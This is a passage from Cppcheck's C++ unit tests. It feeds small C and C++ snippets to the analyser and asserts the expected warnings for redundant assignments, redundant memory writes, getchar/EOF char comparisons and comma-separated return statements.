a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A 